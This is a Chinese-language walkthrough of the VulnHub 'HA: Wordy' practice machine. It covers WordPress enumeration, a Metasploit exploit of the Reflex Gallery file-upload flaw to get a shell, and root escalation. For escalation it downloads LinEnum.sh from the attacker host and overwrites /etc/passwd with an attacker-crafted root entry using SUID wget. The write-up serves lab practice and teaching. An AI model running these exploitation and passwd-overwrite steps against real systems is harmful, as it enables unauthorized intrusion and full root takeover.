VulnHub 系列:HA, Wordy

靶机描述:

Wordy is design for beginners to experience real life Penetration testing. This lab is completely dedicated to Web application testing and there are several vulnerabilities that should be exploited in multiple ways. Therefore, it is not only intended as a root challenge boot, the primary agenda is proactive in exploiting tops listed web application vulnerabilities. As this is a wordpress based lab, it is designed so that users can practice following vulnerabilities: - LFI - RFI - CSRF - File Upload - SQL There is a total of 3 flags. Completion is only registered on exploiting all vulnerabilities and flags. Hint: "Everything is not what it seems to be." Visit our website http://hackingarticles.in

一、信息收集

靶机IP: 192.168.152.146

bash 复制代码
netdiscover -r 192.168.152.0/24

端口和服务

bash 复制代码
nmap -sS -sV -T4 -A -p- 192.168.152.146

页面、目录枚举

bash 复制代码
dirb http://192.168.152.146 -X .php,.txt,.zip,.html

info.php-->显示本机IP notes.txt-->You Need to ZIP Your Wayout secret.zip-->解压时需要密码

bash 复制代码
gobuster dir -u http://192.168.152.146 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

192.168.152.146/wordpress/

wpscan 扫描

bash 复制代码
wpscan --url http://192.168.152.146/wordpress -e vp,vt,u

二、漏洞利用过程

WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

WP Symposium <= 14.11 - Unauthenticated Shell Upload

WP Symposium <= 15.1 - SQL Injection

Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)

WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion

试过以上5种,均无结果。

WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload

这里直接使用metasploit 获得shell

bash 复制代码
msfconsole
search Reflex Gallery
use exploit/unix/webapp/wp_reflexgallery_file_upload
show options
set rhosts 192.168.152.146
set targeturi /wordpress
run
bash 复制代码
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

切换目录至/var/www/html,发现有secret.zip。这个文件在目录猜解的时候就已经发现了,但是需要密码才能解压。用john 破解了好几个小时都没出结果,遂放弃。切换目录至/home/raj,发现了flag1.txt。

bash 复制代码
cd /var/www/html
ls
cd /home
ls
cd raj
ls

四、提权

这里就不用linuxprivchecker.py 脚本去搜集信息,换成LinEnum.sh。如果你想熟悉一下没有脚本的情况下怎么收集这些信息,可以参考privilegeescalation-_linux。

先在kali 上开启HTTP 服务

bash 复制代码
python -m http.server 1212

使用wget 下载LinEnum.sh 脚本到靶机的tmp 目录。因为所在的地理位置不允许直接访问Github,所以从自己的kali 下载。

bash 复制代码
cd /tmp
wget http://192.168.152.141:1212/LinEnum.sh

为了便于查看收集到的信息,将结果输出到report 中,脚本自动将日期作为文件的结尾。

bash 复制代码
sh LinEnum.sh -r report

手动信息收集查找SUID 权限文件

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

wget -O 提权

利用wget -o 命令覆盖/etc/passwd 文件

第一步,在kali 上创建文本文件,取名passwd,并将靶机/etc/passwd 文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样。

bash 复制代码
cat /etc/passwd
bash 复制代码
vim passwd

第二步,使用openssl 创建一个密码,命令如下:

bash 复制代码
openssl passwd -salt 'ins1ght' ins1ght

结果为:inoX.9v2x9xFM

第三步,将这串文本ins1ght:inoX.9v2x9xFM:0:0:add by hacker:/root:/bin/bash 添加到passwd 里面,注意另起一行即可。

第四步,开启kali 的HTTP 服务,可以用python 或apache2,这里用的是python,命令如下:

bash 复制代码
python -m http.server 1215

第五步,使用wget 下载kali 里面新建的passwd 到靶机的/etc 目录

bash 复制代码
cd /etc
wget -o passwd http://192.168.152.141:1215/passwd

本以为可以直接su ins1ght 了,结果出了点问题

查了一下wget 的使用方法,发现参数-o(小写字母o)和-O(大写字母o)是有区别的,之后用wget -O passwd 成功覆盖原有passwd。

简单来说就是-o passwd 是将本次执行wget 命令的日志输出到passwd(里面是日志)中,由于目录中已经存在同名文件passwd(/etc/passwd),所以wget 将下载的文件(里面是用户名密码)重名为passwd.1;而-O passwd 是将下载的passwd 文件命名为passwd,也就实现了覆盖/etc/passwd。

bash 复制代码
wget -O passwd http://192.168.152.141:1215/passwd
bash 复制代码
cat passwd
bash 复制代码
su ins1ght
whoami
id
cd /root
ls
cat proof.txt

五、后记

base64 解码aarti:aarti@gmail.com 之前在wpscan 扫描网站的时候已经发现了用户aarti,所以这应该是他的账号和密码,试了一下发现密码错误。

这个密码是admin 用户的密码。

相关推荐
Zenova EdgeOS2 小时前
Linux 内核日志 dmesg 进阶实战:从现场过滤到持久化闭环
linux·运维·服务器
郝亚军2 小时前
ec_private.pem的生成方法
linux·运维·服务器
NendoZen3 小时前
Arch Linux解决Grub无法SAVEDEFAULT问题(uki启动问题)
linux·运维·服务器
Elastic 中国社区官方博客4 小时前
Elasticsearch:安装自行管理的 Elastic Stack 集群
大数据·运维·服务器·数据库·elasticsearch·搜索引擎·全文检索
忆挽篱笙歌4 小时前
进程控制管理
linux·运维·服务器
Escalating_xu4 小时前
【Linux 网络编程】connect 的断线重连:用状态机写一个能恢复连接的 TCP 客户端
linux·网络·tcp/ip
Zucker n5 小时前
英语“论文”语法检查工具
linux·windows
2401_868534786 小时前
局域网络中信息安全方案设计及攻击防范技术(制造企业园区网)
服务器·网络
苏宸啊6 小时前
Reactor反应堆模式
linux
javaDocker6 小时前
1800 亿科技投入砸下去,多数机构平的只是服务器,不是能力
运维·服务器·人工智能·科技·研发效能·金融科技